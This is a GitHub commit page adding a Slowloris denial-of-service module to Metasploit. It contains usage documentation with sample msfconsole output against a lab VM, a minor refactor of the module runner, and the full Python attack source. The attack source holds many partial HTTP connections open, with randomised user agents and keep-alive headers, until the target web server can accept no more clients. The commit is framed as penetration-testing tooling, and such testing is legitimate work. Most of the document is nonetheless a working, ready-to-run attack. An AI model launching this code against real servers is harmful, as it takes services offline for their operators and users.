Skip to content

Commit 19844fb

Browse files
committed
Land rapid7#9227, Add slowloris denial of service
2 parents a4e199a + b6c81e6 commit 19844fb

File tree

3 files changed

+180
-3
lines changed

3 files changed

+180
-3
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
3+
This module tries to keep many connections to the target web server open and hold them open as long as possible.
4+
5+
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
6+
7+
Vulnerable application versions include:
8+
9+
- Apache HTTP Server 1.x and 2.x
10+
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole
15+
2. Do: `use auxiliary/dos/http/slowloris`
16+
3. Do: `set RHOST`
17+
4. Do: `run`
18+
5. Visit server URL in your web-browser.
19+
20+
## Scenarios
21+
22+
### Apache/2.2.8 - Ubuntu 8.04
23+
24+
```
25+
msf > use auxiliary/dos/http/slowloris
26+
msf auxiliary(slowloris) > show options
27+
28+
Module options (auxiliary/dos/http/slowloris):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
delay 15 yes The delay between sending keep-alive headers
33+
rand_user_agent true yes Randomizes user-agent with each request
34+
rhost 172.28.128.4 yes The target address
35+
rport 80 yes The target port
36+
sockets 150 yes The number of sockets to use in the attack
37+
ssl false yes Negotiate SSL/TLS for outgoing connections
38+
39+
msf auxiliary(slowloris) > set rhost 172.28.128.4
40+
rhost => 172.28.128.4
41+
msf auxiliary(slowloris) > run
42+
43+
[*] Starting server...
44+
[*] Attacking 172.28.128.4 with 150 sockets
45+
[*] Creating sockets...
46+
[*] Sending keep-alive headers... Socket count: 150
47+
```

lib/msf/core/modules/external/python/metasploit/module.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -21,15 +21,15 @@ def report_service(ip, opts={}):
2121
}})
2222

2323

24-
def run(metadata, exploit):
24+
def run(metadata, module_callback):
2525
req = json.loads(os.read(0, 10000))
2626
if req['method'] == 'describe':
2727
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
2828
elif req['method'] == 'run':
2929
args = req['params']
30-
exploit(args)
30+
module_callback(args)
3131
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
32-
'message': 'Exploit completed'
32+
'message': 'Module completed'
3333
}})
3434

3535
def rpc_send(req):
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
#!/usr/bin/env python
2+
# Note, works with both python 2.7 and 3
3+
4+
import random
5+
import socket
6+
import ssl
7+
import sys
8+
import time
9+
10+
from metasploit import module
11+
12+
metadata = {
13+
'name': 'Slowloris Denial of Service Attack',
14+
'description': '''
15+
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
16+
It accomplishes this by opening connections to the target web server and sending a partial request.
17+
Periodically, it will send subsequent HTTP headers, adding to-but never completing-the request.
18+
Affected servers will keep these connections open, filling their maximum concurrent connection pool,
19+
eventually denying additional connection attempts from clients.
20+
''',
21+
'authors': [
22+
'RSnake', # Vulnerability disclosure
23+
'Gokberk Yaltirakli', # Simple slowloris in Python
24+
'Daniel Teixeira', # Metasploit module (Ruby)
25+
'Matthew Kienow <matthew_kienow[AT]rapid7.com>' # Metasploit external module (Python)
26+
],
27+
'date': '2009-06-17',
28+
'references': [
29+
{'type': 'cve', 'ref': '2007-6750'},
30+
{'type': 'cve', 'ref': '2010-2227'},
31+
{'type': 'url', 'ref': 'https://www.exploit-db.com/exploits/8976/'},
32+
{'type': 'url', 'ref': 'https://github.com/gkbrk/slowloris'}
33+
],
34+
'type': 'dos',
35+
'options': {
36+
'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
37+
'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 80},
38+
'sockets': {'type': 'int', 'description': 'The number of sockets to use in the attack', 'required': True, 'default': 150},
39+
'delay': {'type': 'int', 'description': 'The delay between sending keep-alive headers', 'required': True, 'default': 15},
40+
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
41+
'rand_user_agent': {'type': 'bool', 'description': 'Randomizes user-agent with each request', 'required': True, 'default': True}
42+
}}
43+
44+
list_of_sockets = []
45+
user_agents = [
46+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
47+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
48+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
49+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
50+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
51+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
52+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
53+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
54+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
55+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
56+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
57+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
58+
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
59+
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
60+
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
61+
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
62+
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
63+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
64+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
65+
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
66+
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
67+
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
68+
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
69+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
70+
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
71+
]
72+
73+
def init_socket(host, port, use_ssl=False, rand_user_agent=True):
74+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
75+
s.settimeout(4)
76+
77+
if use_ssl:
78+
s = ssl.wrap_socket(s)
79+
80+
s.connect((host, port))
81+
82+
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
83+
84+
if rand_user_agent:
85+
s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
86+
else:
87+
s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
88+
89+
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
90+
return s
91+
92+
def run(args):
93+
host = args['rhost']
94+
port = int(args['rport'])
95+
use_ssl = args['ssl'] == "true"
96+
rand_user_agent = args['rand_user_agent'] == "true"
97+
socket_count = int(args['sockets'])
98+
delay = int(args['delay'])
99+
100+
module.log("Attacking %s with %s sockets" % (host, socket_count), 'info')
101+
102+
module.log("Creating sockets...", 'info')
103+
for i in range(socket_count):
104+
try:
105+
module.log("Creating socket number %s" % (i), 'debug')
106+
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
107+
except socket.error:
108+
break
109+
list_of_sockets.append(s)
110+
111+
while True:
112+
module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
113+
for s in list(list_of_sockets):
114+
try:
115+
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
116+
except socket.error:
117+
list_of_sockets.remove(s)
118+
119+
for _ in range(socket_count - len(list_of_sockets)):
120+
module.log("Recreating socket...", 'debug')
121+
try:
122+
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
123+
if s:
124+
list_of_sockets.append(s)
125+
except socket.error:
126+
break
127+
time.sleep(delay)
128+
129+
if __name__ == "__main__":
130+
module.run(metadata, run)

0 commit comments

Comments
 (0)